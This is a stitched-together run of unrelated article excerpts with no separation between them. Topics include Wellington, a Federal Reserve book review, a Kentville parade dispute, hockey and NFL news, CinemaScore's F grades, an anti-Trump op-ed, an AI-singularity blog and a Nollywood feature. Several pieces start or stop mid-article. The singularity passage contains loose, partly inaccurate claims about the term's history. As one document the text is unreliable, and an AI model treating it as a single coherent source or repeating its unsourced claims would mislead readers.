“It’s a really beautiful place, spread over the top of mountains and around a bay. You can go on a great mountain bushwalk without really even leaving the city,” he said.
Cafes and craft beer pubs abound in the city, he said, and there were plenty of small bars offering live music.
“Admittedly, I sometimes travel back to Melbourne when an artist I want to see comes down — they do often skip Wellington.”
Reality often bites, but news this fall of collapsing asset values and housing prices hit a baffled American public like a bombshell. After all, for years, so many Americans had been basking in the glow of their 401Ks and home-equity loans and generally enjoying the most prosperous years of their lives. Playing the stock market. Buying up Dream Houses with no money down. Going on fantasy vacations. Wasn’t that the American Dream? What the hell happened!?!
The term “American dream” was coined by author James Truslow Adams in his 1931 book, The Epic of America. He wrote: “It is not a dream of motor cars and high wages merely, but a dream of social order in which each man and each woman shall be able to attain to the fullest stature of which they are innately capable, and be recognized by others for what they are, regardless of the fortuitous circumstances of birth or position.”
Reading that, it’s clear that the modern interpretation has strayed far from the original meaning. In fact, the “American Dream” represents something more than the cars and big money that Adams warned about. Central planners and social engineers misappropriated the term a long time ago, and put it into use as a slogan to convey a sense of entitlement and equality as they began to shape and subsidize the home ownership nation that first got started with the creation of Fannie Mae in 1938.
In his new book, Meltdown, Thomas E. Woods Jr. suggests that the American dream became the American Nightmare through the reckless, self-serving actions of government institutions. And at once, Woods puts his finger on the unmistakable “elephant in the living room” — the Federal Reserve System. Sad to say, other than a few assorted rumblings, there has been almost no discussion in the mainstream media of the Federal Reserve’s role in launching the crisis. But as Woods details, the Fed, which centrally plans monetary policy and interest rates, sowed the seeds of destruction by drastically reducing interest rates beyond levels that would otherwise have been set by a free market. “Making cheap credit available for the asking does encourage excessive leverage, speculation, and indebtedness,” Mr. Woods writes. He adds, “Manipulating interest rates and thereby misleading investors about real economic conditions does in fact misdirect capital into unsustainable lines of production and discombobulate the market.” This begins the authors’ explanation of the boom-bust phenomenon and how an artificial boom, and the financial holocaust it leaves behind, can be perfectly clarified and understood in terms of the Austrian theory of the business cycle.
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In a joint news release from the town and the festival organizers, festival vice-president Alxys Chamberlain said both sides were happy to "rediscover clarity and understanding about the support from the Town of Kentville in hosting the event."
The parade was originally going to be held in New Minas on May 27 because festival organizers said they had difficulty in securing policing and parks and recreation staff in Kentville.
The parade has almost always been held in Kentville during the festival's 85 years.
The move just down the road resulted in plenty of criticism against the festival as many people wanted to keep the parade in Kentville. An online petition to stop the parade from moving to New Minas garnered 1,878 supporters.
Both the town and festival organizers said they have been in talks with New Minas throughout the whole process leading up to the announcement.
Bo Horvat Becoming Vancouver Canucks Offensive Driver
In 29 games this season, Horvat has put up eight goals and eight assists, ranking second on the team in goals, and third in points. The Sedins remain the primary producers of the team with 19 points for Daniel, and 18 for Henrik. However, this is the first time in a long time that anyone has challenged their reign at the top of the Canucks scoring ladder.
Critics questioned Horvat’s offensive capabilities after the Canucks selected him ninth overall in the 2013 NHL Draft. While strong, many were sceptical as to whether or not they would translate to the big leagues. Many deemed his likely projection to be that of a very good third-line center, or a respectable second liner.
Now, the second line appears to be his floor. Some even speculate as to if he could possibly be the team’s number one for years to come. While his ceiling remains to be seen, the development in Horvat’s foot speed, raw skill, and general dynamic ability has been tremendous, and looks to only improve as time continues to pass.
Continuing an Upwards Trajectory
These developments should not come as too much of a surprise to anyone. Throughout the back half of the treacherous 2015-16 campaign, Horvat was the team’s best player. He led the team in scoring from January onward, taking home the team’s Most Exciting Player award at the end of the season.
His 16 goals and 40 points in all 82 games last year ranked third on the team in both categories. This cemented his sophomore year as a big success for the now 21-year-old. This came on the heels of a 68-game rookie season that saw the former London Knight score a very respectable 13 goals and 25 points in largely fourth line duty.
Now skating alongside veteran Alex Burrows and former Calgary Flames winger Sven Baertschi, Horvat’s trajectory has made him the Canucks offensive driver. He is largely seen as the team’s most valuable player. While his acclaim in junior largely came from his stalwart two-way ability and enviable leadership skills, he is now seen as the Canucks most dangerous player on most nights.
It seems unlikely that Horvat will ever challenge for an Art Ross Trophy, or even hit point-a-game numbers. Canucks fans can be thankful that a young players seems to have the ability to put up top-line numbers . It’s possible that the hockey community has largely underestimated Horvat, but he’s been exceeding expectations.
A lot of research has appeared in the last few years as a testament to all that is unholy about our love of office chairs, La-Z Boys, couches and cushions. What's worse: Even a healthy amount of exercise can't save you.
If you work in an office setting, sitting is hard to avoid, unless you're an early adopter of the treadmill desk. You might laze around the house on your days off, but one study found that people spend more time sitting--and do less standing or walking--on work days compared to their leisure days.
You may have lost track of all of the ways that your office job can turn deadly. So as I sit hunched over in my rolling chair in a position that screams "live fast, die young," let's talk about what kind of damage all we, the over-sitters, are in for.
Russell, the former No. 1 overall pick of the Raiders in 2007, has been out of football since Oakland released him after the 2009 season.
Yahoo! Sports is reporting that Russell, 27, is being mentored by former NFL receiver and fellow LSU alumnus Michael Clayton. Russell also will work out at the TEST Football Academy, which has prepared Baltimore Ravens quarterback Joe Flacco and Arizona Cardinals cornerback Patrick Peterson, among others, for the NFL draft.
The 6-foot-6 Russell, who reportedly weighed 320 pounds in the fall, is down to 308 pounds, according to Yahoo! Sports. In addition to his work at the TEST Football Academy, Russell will be tutored by former NFL quarterback Jeff Garcia on technique, Hall of Fame running back Marshall Faulk on reading defenses and several other former players, doctors and trainers.
"The last few years, the things going through my life, football is my job, and it is how it feeds my family. People would say [that] I didn't love the game, but that pisses me off," Russell told Yahoo! Sports. "People don't know the real you, but I want people to know the real me and see what I can do. People are always saying that I'm a bust. I want to show them I'm not. I'm committed to this now."
Russell won only seven of his 25 starts in his career with Oakland. He completed just 52.1 percent of his passes in his career with 18 touchdowns, 23 interceptions, 15 lost fumbles and a passer rating of 65.2.
He was paid approximately $39 million for his three seasons with the Raiders.
Russell was charged with felony possession of a controlled substance, a drink containing codeine syrup, when sheriff's officers raided his home in July 2010. A grand jury, however, ultimately declined to indict him on the charges later that year.
Former NBA player John Lucas had been serving as Russell's life coach in late 2010, but the pair severed their relationship in 2011.
Yahoo! Sports reported that Russell, trying to make up for his past mistakes, has regularly spoken with youth groups about his arrest and poor decisions he has made.
"I'm not looking for a pat on the shoulder from people who haven't been there for me," Russell told the website. "It feels funny not to go through a training camp, that's just what I'm used to. It's going to feel good to go back out there again. I will make this happen."
Last weekend, Darren Aronofsky’s Mother! divided critics, audiences, and Jennifer Lawrence’s diaphragm. But in the process, it also joined one of the most select clubs in Hollywood: the list of movies that have earned an F from CinemaScore.
For those of you not in the habit of following the industry response to films, CinemaScore is a company that exit polls moviegoers’ opinions on opening night. It’s been around since 1979, and according to research analyst Harold Mintz, it’s been storing its data since 1986 — or 30-plus years of audiences reacting to movies. Like grade-school or the signs you see in restaurant windows, CinemaScore’s grades range from A+ to F; an example of a recent film to earn the coveted A+ rating is Girls Trip, with Spider-Man: Homecoming and Leap! delivering solid As. If you want to put Mother!’s achievement in perspective, none of the other movies currently listed on the CinemaScore home page have less than a B- score; it’s a significant enough event that Paramount felt the need to respond.
How select is that company? Vulture asked Mintz just how many films have received Fs since ’86. His answer was 19; here’s the complete list, published in full for the first time:
Alone in the Dark
The Box
Bug
Darkness
The Devil Inside
Disaster Movie
Doctor T and the Women
Eye of the Beholder
Fear Dot Com
I Know Who Killed Me
In the Cut
Killing Them Softly
Lost Souls
Lucky Numbers
Mother
Silent House
Solaris
The Wicker Man
Wolf Creek
“CinemaScore has an algorithm,” Mintz explains. “A long time ago, we tweaked and analyzed until we came up with what we thought to be the absolute right system. Obviously I can’t share that. That’s the McDonald’s secret sauce,” he laughs. “But if you have 100 ballots, even if you divided it evenly, and had 20 As, 20 Bs, 20 Cs, 20 Ds, 20 Fs — in school, that’s a C. In our curve, it’s a lot worse; a B in school is more equivalent to a C in our terms. When you start getting Bs with CinemaScore, it affects the algorithm and curve a lot harder than it does in school. If you have 20 percent Cs, 20 percent Ds, 20 percent Fs — imagine how bad that is.”
A+s are plentiful compared to Fs, Mintz says — they average about two a year, versus the 19 Fs in 31 years (though both are extremely rare). But all genres are not treated equally by respondents. It’s pretty obvious that, of the movies to receive Fs, horror is disproportionately present. In the year of Split, Get Out, and It, that might seem strange; horror is practically keeping the box office afloat, particularly in the realm of films that cost less than nine figures.
“Until the last year or two, a great score for a horror film would be a B-, even when they’re good. There were no As until The Conjuring [an A-] came out,” Mintz says. “Get Out got an A-, and did very well box-office-wise. The trend is changing a little bit. For the longest time, most horror films were Cs and lower. An F in a horror film is equivalent to a B- in a comedy. There’s no science to that, exactly.”
Mintz suspects that a rising quality in the genre is responsible for this change. Most of the straight-up horror films on the list of Fs wouldn’t surprise anyone, and for much of the past few decades, those were the types of movies that made up the majority of the form: starlet-driven, teen-oriented schlock that would lure in audiences opening weekend based on stars and serving a need, then give way to the next one. Sure enough, Mintz says that these films tended to deliver low multiples, meaning the overall gross in relation to the opening weekend. This is generally thought of as CinemaScore’s main utility: If a movie delivers a poor CinemaScore on opening night, it’s a bad sign for word of mouth, and it suggests that a low multiple is likely. If it delivers a high CinemaScore, it’s the opposite, and with the higher CinemaScores for horror, Mintz has seen a corresponding increase in multiples, with movies like The Conjuring franchise delivering unheard-of-for-the-genre 3.0 multiples. (Get Out has managed a staggering 5.3 multiple. Among movies opening this year in wide release, only Hidden Figures did better, with Baby Driver about equal, thanks to inflation from its Wednesday opening — although both of those films made $10 million less than Get Out did opening weekend.)
Of course, horror isn’t the only type of film to earn an F CinemaScore. Another type of movie features prominently on the list: let’s call it “Misleading Auteurism.” These are movies made by prominent, often Oscar-nominated directors that investigate risky and controversial subject matters and receive both praise and pans. But because of how the movie industry works — the name of a director alone not being enough to get most people to go see something — they tend to be marketed as more straight-ahead genre films, resulting in a whole bunch of misled and pissed-off audience members. (If you can explain the F given to the more or less unremarkable Richard Gere rom-com Dr. T and the Women, which is mostly notable for having been directed by Robert Altman, we’re all ears. Disaster Movie’s presence seems a bit more logical.)
Solaris, In the Cut, and Bug were directed by Oscar winners Steven Soderbergh, Jane Campion, and William Friedkin, respectively; The Box by cult hero Richard Kelly, maker of Donnie Darko; and Killing Them Softly by Andrew Dominik, who made the modern classic The Assassination of Jesse James by the Coward Robert Ford. (Mother!, meanwhile, is the seventh film by Aronofsky, who was nominated for Best Director in 2011.) But on the surface, all of these movies can scan as your average multiplex entry, especially in comparison to much of their filmmakers’ other work: They feature stars (George Clooney, Meg Ryan, Ashley Judd, Cameron Diaz, Brad Pitt, and Jennifer Lawrence, respectively), and they fit within existing genres (sci-fi, thriller, horror-thriller, sci-fi–thriller, crime, horror).
But underneath the conventional trappings, these are all films of ambition and, if not necessarily complexity, at least an unconventional approach to their material. Solaris is a sci-fi movie that defies the form at all turns, from a creative mind, Soderbergh, who delights in subverting expectations; Bug is a disturbing work from the pen of Tracy Letts, who would collaborate again with Friedkin in 2011 on the similarly bonkers Killer Joe; In the Cut is defiantly sexual; The Box becomes increasingly complicated and outré as it goes on, culminating in a fable of moralism; and Killing Them Softly is more a European-inflected riff on a gangster movie than an actual gangster movie, punctuating its philosophizing, political reflection, and character studies with bursts of violence.
What these movies have in common is that they take on the cloak of a genre and then refuse to give the audience what they expect from that genre, a feat that Mother! — which was marketed largely as a horror movie — perpetrates gleefully. If CinemaScore’s list of Fs has a major lesson, it’s that audiences do not like to be fooled in this way. (Trey Edward Shults’s It Comes at Night and Robert Eggers’s The Witch are recent examples of this phenomenon as well; both received very positive reviews and then D and C- CinemaScores, respectively, when they turned out to defy the horror genre’s parameters.)
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Whether Donald Trump will win the Republican nomination, no one can tell—but what’s already clear is that he’s brought fascism back into the mainstream. At his rallies, Trump promises to make America great again by pouring scorn on women, Mexicans, African Americans, Asians, immigrants, LGBT people, the disabled, his opponents, and reporters who dare to criticize him. Every time he comes up with a new insult, his supporters whoop and cheer, seemingly confident in the belief that they are not now, nor would they ever become, one of his targets. Lately, he has taken to picking out individual protesters—a Black Lives Matter activist, a Muslim woman, a Sikh man—and offering them up to the jeering crowd, before having security escort them out. The message is unmistakable: There is no room at these gatherings for anyone who isn’t white and Christian. A Trump rally is nothing more than a hate-in. Ad Policy
Perhaps no community has been demonized more by Trump than Muslims. A week after the November 13 terrorist attacks in Paris, Trump suggested that mosques in the United States might have to be shut down, and he said that he wouldn’t rule out requiring Muslims to be registered in a database or carry special IDs. The statements were initially met with disbelief and dismissed by the media, but they gave him a solid bump in the polls. Then, in December, Trump called for a complete ban on Muslims entering the United States until, he said, “our country’s representatives can figure out what is going on.” (In fairness, while Trump is extreme, he isn’t alone among the Republican candidates: Ben Carson, Marco Rubio, Ted Cruz, and Jeb Bush have all indulged in anti-Muslim bigotry as well.)
Contrast this with how Trump has spoken about a different but no less visible community: the men and women who served in the United States armed forces. After pulling out of a debate in Des Moines because Fox News’s Megyn Kelly was scheduled to moderate it, Trump held a fund-raiser for veterans instead. “You veterans are incredible people, brave beyond comprehension,” he told the crowd. In New Hampshire, where he won the primary, he vowed to take care of vets. “They’re our greatest people,” he said. Trump has repeatedly promised to handle the mismanagement problems that have plagued the Department of Veterans Affairs. “That will stop, I will fix this quickly! ” he tweeted. (Again, Trump is not alone: All of his rivals have proclaimed their own unstinting support for vets.)
So it is that at Trump’s rallies, as in much of America, Muslims and veterans are spoken about in drastically different ways—the former as potential traitors and monsters, the latter as steadfast patriots and heroes. In the process, both are stripped of their agency and individuality. What this rhetoric disguises, however, is a deeply cynical strategy on the part of a candidate who has never held political office, has no experience with foreign policy, and has never served in the armed forces.
Aside from suggesting that he’d fire incompetent executives, Trump has offered no specifics on how he would fix systemic problems like the long wait times for medical appointments or the huge backlog of disability claims. Furthermore, the policies he has suggested for dealing with groups like the Islamic State, including torture and the murder of families of suspected terrorists, amount to war crimes—crimes that, if elected, he will ask service members to carry out for him. The VA has already been under fire for its record on PTSD treatment and suicide prevention. Sending troops into a war where, in Trump’s words, they will be asked to do things that are “a hell of a lot worse than waterboarding” doesn’t suggest care or concern for our veterans.
Trump’s open contempt for Muslims may play well at his rallies, but his proposed ban amounts to a new form of segregation, one based not on race but on faith. It would isolate the United States from the rest of the world and deprive millions of Americans of contact with family and friends, business partners, artists, athletes, and academic or professional colleagues. (This isn’t merely a theoretical argument for me: My cousins, uncles, and aunts would not be able to visit if Trump is elected.) This ban is simply immoral—and because people’s passports are not indicators of their beliefs, it is also unenforceable.
Though veterans are revered and Muslims reviled, the two communities are not mutually exclusive, and it’s been heartening over the last few weeks to watch them call Trump out on his bigotry. Sgt. Tayyib Rashid, a Marine from Chicago, tweeted a picture of his military ID along with a challenge to Trump: “I’m an American Muslim and I already carry a special ID badge. Where’s yours?” There are also examples of solidarity between the two groups. In November, a mosque in Seattle held its ninth yearly Day of Dignity event for the homeless, including homeless vets, providing them with food and supplies. And in December, an Army veteran started #IWill- ProtectYou, a Twitter campaign in support of an 8-year-old Muslim girl who was afraid that the military might remove her from her home under a President Trump. Visit Cuba with The Nation! Learn More
The truth is that veterans and Muslims have much in common: They bear the costs of distant wars at home. For veterans, these costs include having to face the medical and psychological effects of combat. And yet vets suffering from PTSD have been turned away by VA clinics that can’t take in new patients. For Muslims, the burden of America’s wars in the Middle East comes in the form of hate crimes. In the Bronx last month, two teenagers beat up a Muslim man while screaming “ISIS! ISIS!” at him.
It has different meanings, in math and physics, it represents the infinite value which is incomprehensibly large. In the technological world, it deals with artificial intelligence. When artificial intelligence is exponentially more intelligent and quick to become artificial superintelligence, this is called a singularity.
The word “singularity” was popularized in 2005. John von Neumann, Vernor Vinge, and Ray Kurzweil define the term of the technological super intelligence, and they argue that it is difficult for present-day humans to predict how the human beings were living in the post-singularity world.
There is a difference of opinion among many notable personalities regarding AI singularity. Some of them are in favor of the extreme rise of singularity, and they are considering it beneficial for humanity. While others feel this uncontrolled rise a serious threat to the humanity’s future.
The Artificial Intelligence/AI singularity:
It would be the time when artificial intelligence and all the other advancement in technology will lead to a machine that will be smarter than human beings. Imagine that time when machines will take over the world and humans have nothing to do, Elon Musk warns about this kind of future. The proponents of singularity consider it an opportunity for the human beings to improve.
Elon Musk is working and trying his best to make sure that humanity can keep up with artificial intelligence.
When will human reach singularity?
It is the most repeated point of discussion nowadays, when will the artificial intelligence become greater than human intelligence? The famous Singularity proponents like Ray Kurzweil, Google’s director of engineering, said, “2029 is the consistent date I have predicted for when an AI will pass a valid Turing test and therefore achieve human levels of intelligence. I have set the date 2045 for the ‘Singularity’ which is when we will multiply our effective intelligence a billion fold by merging with the intelligence we have created.”
According to Kurzweil, technologies are now becoming cheaper and their complex computation power increases at an extreme rate. Thus, AI also increases exponentially in its ability to mimic the brain, which enables us to create an artificial copy of our “soul”, so that we can live forever in robotic bodies that neither age nor die.
Predictions:
Vernor Vinge and Ray Kurzweil are looking forward to the time when the world is all revolving around artificial intelligence. They have argued that the exponential success rate of smarter and smarter machines will soon overturn human capabilities. These devices will possess super artificial intelligence that will doubt the presence of human beings in the world.
Some of the personalities predict that the dawn of super-intelligent machines will happen by 2047. For Kurzweil, the process towards this singularity has already begun.
Elon Musk on Singularity
He is the man who is considering singularity as a matter of alarm and concern for humanity’s future. He is concerned about the fact that AI is predicted to bowl humankind at an exponential rate, afterward, human beings would be considered inferior as compared to AI in their capacity.
Musk suggested a conventional idea: the neural lace. It is actually a device that is intended to grow with a brain. The primary purpose of neural lace is to optimize mental output through a brain-computer interface. It will allow the human mind to effortlessly access the internet so that it can keep up with artificially intelligent systems. He is confident about the efficiency of the neural lace that it could push our cognitive performance to levels that are comparable to that of AI.
The artificial intelligence singularity is the phenomenon of today’s world and will progress more in the near future. The truth of today’s technology like supercomputers, wireless network, and artificial intelligence is that it will inevitably make its way to the general public in the future. Even though these technologies are now becoming cheaper and more widespread, we fail to imagine how it will change our society.
The transition period of singularity is the machine interdependence. Singularity will be a future of unparalleled human-machine synthesis. The devices under development work by replicating the way that our brain cells communicate with one another. The technology envisioned is based on 15 years of academic research. Human superintelligence is only a matter of time now.
Web References:
http://bigthink.com/hybrid-reality/reaching-the-singularity-its-more-complicated-than-we-think
https://futurism.com/kurzweil-claims-that-the-singularity-will-happen-by-2045/
https://futurism.com/elon-musk-set-to-release-plans-about-the-neural-lace-next-month/
http://metro.co.uk/2017/07/27/the-end-of-humanity-as-we-know-it-is-coming-in-2045-and-big-companies-are-working-towards-it-6807683/
When I visited Lagos, Afolayan was preparing to start shooting his follow-up to “The Figurine.” He told me he hoped to emulate his hero, Mel Gibson , another actor-director from a remote English-speaking land with outsize appetites and ambitions. “It’s sad,” Afolayan said of Gibson’s recent self-destruction. “I love Mel and I’m such a fan of his work.” He was quick to distance himself from Nollywood and its streetwise art of “guerrilla filmmaking.” “Their mind-set,” Afolayan said, “is totally different than mine.”
For all of Afolayan’s grandiose talk, however, the economic realities of African filmmaking conspire against an improvement in quality. The consumer base is huge — there are more than a billion Africans, 155 million of them in Nigeria alone. But access to those buyers is controlled by the clannish merchants who congregate on the outskirts of Lagos at the Alaba International Market, the distribution hub of the African movie business.
To visit Alaba is to catch a glimpse of entertainment in its Hobbesian state, where few laws restrain profiteers, piracy is rampant and all creative calculations yield to the lowest denominator. The market’s cramped concrete stalls are piled high with video CDs packaged in garish paper envelopes. Men pulling carts laden with boxes jostle through unpaved alleyways, passing under flapping banners advertising new releases like “Mama’s Girls” and “Demonic Attack.” Castoff plastic discs, the detritus of digital replication, litter the muddy ground like seashells.
This may not be quite what Jean-Luc Godard had in mind when he recently declared that with digital cameras, “everyone is now an auteur.” But it certainly represents a vision of what the future could hold — and not just for Nigeria — if the practice of making entertainment ceases to be rewarding to professionals. Even as Afolayan tossed off cash for his song, he faced a vexing challenge in making his next film: who was going to pay for his work? When everyone is an auteur, who values artistry?
On a Saturday afternoon, in the last hour of precious daylight, Osita Iheme was ready to work. A dwarf popularly known as Paw Paw, and the star of a string of politically incorrect hits with titles like “Baby Police,” Iheme is one of Nollywood’s most bankable actors. In his latest film, an ensemble comedy set in cramped slum housing, he was playing the lecherous son of a landlord. The director, working with a single Sony digital camera, watched the scene unfold on a beat-up TV monitor. It involved a scatological sight gag, a confrontation with a gaggle of female tenants and lots of screaming. Iheme set his face in an exaggerated glower as the actor playing the landlord wagged his finger and bellowed, “You have turned my place into a market square for madwomen!”
Nollywood’s bawdy humor — or fright or fantasy — appeals to a public seeking escape from depressing living conditions. The industry itself was born out of economic desperation during the early 1990s, a period of military dictatorship, low prices for Nigeria’s oil and Western-mandated “structural adjustment” of its economy. Actors and cameramen were out of work because of budget cuts at the national television station. Movie theaters were closed because no one wanted to venture into the dangerous streets at night. According to legend, the first Nollywood movie was made by a small-time electronics trader named Kenneth Nnebue, who, stuck with a large shipment of blank videotapes, decided to unload them by making a movie about a man who sells his soul for wealth. That movie, “Living in Bondage,” sold hundreds of thousands of copies and established Nollywood’s archetypal plot elements: martial discord, greed, a conflict between Christianity and juju, as the occult is called in West Africa. From these accidental origins, a cultural phenomenon emerged.
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Other merchants, overwhelmingly members of Nnebue’s ethnic group, the Igbo, followed him into business. They literally made things up as they went, shooting movies in just a few days, based on vague scenarios instead of scripts. Directors approximated tracking shots by pushing their cameramen around in wheelchairs. Quality was shaky, but the buying public didn’t care. Between 1994 and 2005, production in Nigeria went from a handful of feature movies a year to more than 2,500.
“We watch these Africa films like ‘Blood Diamond’ and ‘The Last King of Scotland ’ — they’re always from the perspective of the Europeans,” says Lancelot Oduwa Imasuen, who has directed more than 160 features. He was the subject of a documentary called “Nollywood Babylon,” which was shown at the Sundance Film Festival , and he told me that when he went to the festival, he was shocked to discover that some American directors had been working for years to make just one movie.
Kenneth Nnebue quit Nollywood a few years ago, retiring to his village to devote his life to preaching the Bible. But the industry he established remains tightly controlled by the same group of Igbo businessmen, an insular guild sometimes called the Alaba cartel.
Afolayan’s father, known as Ade Love, was a leading man in the Nigerian film scene of the 1970s, until it was ruined by economic collapse. Up to his death in 1996, he warned his son away from show business, pushing him into a stable career in banking, and although Afolayan eventually went against his father’s wishes, he absorbed the bitter lesson that artistic aspirations mean little without a sustainable business model. As things stand now, moviemakers must sell a huge volume of discs, very quickly, in order to turn a profit. Pirates — taking advantage of the same mass-replication technology that made Nollywood possible in the first place — almost immediately rip off any popular new release. So the black market effectively sets everyone’s prices.
To make the more costly kind of films he envisions, Afolayan has been compelled to devise a strategy that goes around Alaba. “They’re just businesspeople,” Afolayan says dismissively. “They could not really care less about content.” In an evolutionary inversion, his strategy depends on theaters, which have returned to Nigeria along with democracy and the global oil boom. Movie tickets have become a fashionable indulgence for Lagos’s expanding population of prosperous professionals. It is in this privileged world — not the slums — that Afolayan’s movie “The Figurine” takes place. Since its sensational release, people have begun to speak of an emerging movement — New Nollywood — that has captivated a new generation of would-be filmmakers.
My visit coincided with a monthlong program, conducted by the New York Film Academy, that was training 250 Nigerian students in the rudiments of professional technique. I sat in on a shoot for “Awakening,” being made by some earlier graduates of the program, well-educated strivers in their 20s, some of whom had quit good jobs at banks or telecommunications companies to devote themselves to the project. The director, James Omokwe, said that he had seen “The Figurine” twice and wanted to follow its lead into the theaters. “We don’t have the money to finish the movie,” Omokwe added, cheerfully. “But we will definitely do it somehow.”
Many established Nigerian directors are also making big plans for the big screen, with big budgets, and they all seem to have a part for Danny Glover. One night I took a glass elevator up to the Silverbird Cinema, an American-style mall multiplex in a nouveau riche section of Lagos. After paying about $7 — an exorbitant sum in Nigeria — I watched “The Mirror Boy,” a hot New Nollywood release. It was about an African boy, raised in Britain , who returns home and ends up on a long quest through the jungle, accompanied by a ghostly guide, played by Osita Iheme. The production values were far superior to anything I had seen on video, but the movie still climaxed in Nollywood’s customary blaze of sorcery, inspiring one audience member to shout out, “Africa!”
Nollywood movies, both old and new, often play on traditional African beliefs about magic and spirits. “The Figurine” is about two young university graduates — rivals for the same woman’s affections — who stumble on a shrine and uncover the statue of a god. The figurine is supposed to grant seven years of good luck, followed by seven of misfortune. Afolayan’s character brings it home to Lagos, wins the girl and great wealth, at which point the plot takes a horror-genre turn.
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“That’s the figurine,” Afolayan said one day at his office, pointing to a carved wooden prop on his shelf. By this point, I was starting to wonder about the fortune it had brought Afolayan. His follow-up film, “Phone Swap,” was supposed to be shooting. But just a few days before, one of its stars, a beloved character actor named Sam Loco Efe, dropped dead while shooting another movie. The newspapers were filled with condolences, as well as speculation that the veteran actor might have been killed by overwork.
“Phone Swap” was supposed to be a humorous and commercially appealing diversion. Instead it was threatening to become a debacle. As usual, Afolayan had to contend with the absence of vital equipment, decent roads, reliable electricity. He had abruptly dropped his leading man for cantankerous behavior. Now came the untimely death of Sam Loco. “I was just so devastated,” Afolayan said, telling me that the day before he had quit work early to curl up and watch romantic comedies.
Afolayan also handles the financial side of his productions, and “Phone Swap” was conceived with an eye toward product placement, though the cellphone company originally involved had backed out. The story involves a pair of opposites, a free-spirited single girl from the country and a serious Lagos businessman who end up enmeshed in each other’s lives after they mix up their phones. The plot was made to appeal to Nigeria’s new elite, for whom the BlackBerry is a totem as powerful as any figurine. Sam Loco was supposed to play the female lead’s father, an Igbo farmer.
One morning, while he considered replacements for Sam Loco, Afolayan assembled his key crew members to scout locations in the town of Badagry, near the Benin border. We left before dawn to avoid Lagos’s paralyzing traffic jams. Badagry sits along a route often used by smugglers, and there were police roadblocks along the way. But Afolayan blew right through them in his big truck, shouting, “Are you crazy?” at one cop who tried to step in front. The town, an old slaving port, was meant to stand in for an Igbo village. From the back seat, the art director Pat Nebo, an Igbo, gave a lecture on the group’s customs and agricultural practices, lots of painstaking talk about palm oil and kola nuts. “Don’t forget this is a comedy film,” Afolayan gently reminded him.
We came to the small concrete house that would serve as the set of the farm. “It’s so dirty,” Afolayan said happily. Everyone walked through its dank main hallway, which smelled of smoke and fish, into a sandy backyard where laundry flapped in the wind. “Fantastic, this is brilliant,” said the cinematographer Yinka Edward, as he began conceptualizing an ambitious crane shot.
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“The house becomes a major character of the film,” Nebo pronounced, before heading off to scout for appropriate livestock.
Afolayan’s budget for “Phone Swap,” around $500,000, was tiny by Hollywood standards but Spielberg-size for Nigeria. Before embarking on the project, Afolayan went to potential investors with a 29-page business plan, discussing everything from plot details to the fees for equipment rentals and actors. He managed to entice an investor to pledge $1.5 million, enough to finance his next three films. But as deadlines neared, the money still had not appeared. He handed over his BlackBerry so I could read a series of progressively more frustrated e-mail messages. “Most of these investors, they just think business,” Afolayan said. “They don’t really understand the ethic of production.”
Of course, profit motives drove the development of the medium long before pretensions of artistry. The first American movies were disdained by respectable society, but the price of admission — 5 cents, hence the term “nickelodeon” — made them popular with working-class audiences. One day in 1906, an unemployed clothing merchant named Carl Laemmle, who was thinking about starting a five-and-dime, happened to walk into a packed Chicago nickelodeon. “It was evident that the basic idea of motion pictures and Mr. Woolworth’s innovation were identical,” Laemmle later wrote, “small-price commodity in tremendous quantities.” Laemmle started his own theater, and eventually expanded into producing content, founding Universal Pictures.
The businessmen behind Nollywood have followed a similar path from upstart to mogul. In the absence of strong legal institutions, Nigeria’s movie marketers formed a guild to govern their industry, colluding to regulate supply and production costs. The guild has resisted all attempts by actors and producers to push for a larger share of revenue.
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“We created the industry,” Gab Okoye, a marketer who goes by the name Gabosky, proudly said one afternoon. We were standing near the red carpet outside a Lagos banquet hall, where the local chapter of the guild was about to inaugurate new officers. To celebrate and pay homage, all of old Nollywood had turned out in its flashiest finery, lots of bright ankara cloth and dark sunglasses. Gabosky, who was wearing a hip-hop-inspired ensemble, told me he felt disrespected by the new filmmakers like Afolayan. He called them “houseboys” who had forgotten their place. “He’s started complaining about his master,” he said, “who was giving him a job yesterday.”
Inside, the powerful guild president, Emmanuel Isikaku, took the stage. “Nollywood is still alive,” he told the audience. “Nollywood is still great.” The defensive tenor of his declaration was indicative of the marketers’ mood. They had built an entertainment enterprise without precedent in Africa, and yet they felt unappreciated and besieged. The government was trying to crack down with increased fees and oversight. The event’s written program warned of the calamity of regulation and maligned Nigerian actors as “lazy.” When stars become too demanding, marketers deal with them ruthlessly. A few years ago, they put several prominent actors on a blacklist, and none were allowed to work, according to a guild official, until they begged forgiveness.
The marketers say they can’t afford the extravagances of talent. The production budget for a typical Nollywood movie ranges between $25,000 and $50,000, less than a tenth of what Afolayan was proposing for “Phone Swap.” The marketers contend that spending more would be foolish, because the low price of Nollywood movies is part of their appeal. “You must first identify who your primary market is,” Isikaku, a shrewd and sinewy operator, told me. “If your primary audience is the elites and the middle class, the people that can go to the cinema, fine, well and good. But there are some programs that are meant for the people on the street.”
Richmond Ezihe, the guild boss at Alaba market, tried to explain Nollywood economics to me. We met one afternoon in front of the stall that serves as the base for his company. Pasted to its metal door was a poster for a recent feature, “Palace of Blood.” When Ezihe, who is the financier and executive producer, comes up with the concept for a movie, he gives it to a couple of screenwriters he keeps on retainer and then hires a director to hurriedly shoot, having the film ready for sale on the Alaba market within a month or two.
Ezihe has a number of ways to monetize his product: there’s a satellite television station, an overseas DVD market catering to the African diaspora and even a Netflix -inspired Web site called Nollywood Love. But most revenues still come from physical sales. It costs less than 20 cents to burn a blank VCD and package it, but the wholesale price for movies is so cheap that a marketer might need to sell 100,000 copies just to make a decent return. The average Nollywood movie has a shelf life of about two weeks before the pirates get hold of it. In Nigeria, an estimated 5 to 10 illegal VCDs are sold for every legitimate one, and the police make no serious effort to deter the trade.
“It really has eaten deep into our finances,” Ezihe said, claiming — as did every other marketer I met — to be mystified about the identity of the troublesome scofflaws. “They’re hiding,” he said. In fact, clues as to the pirates’ whereabouts were strewed all around Alaba, where American movies and TV series, rap music and video games of doubtful provenance were selling next to the latest Nollywood hits. Many of the movie marketers originally got into the business by pirating Hollywood movies, a practice that continues to flourish. “Piracy is not a problem with the system,” said Jade Miller, an academic at Tulane University who has researched Nollywood’s economics. “It is the system, essentially.”
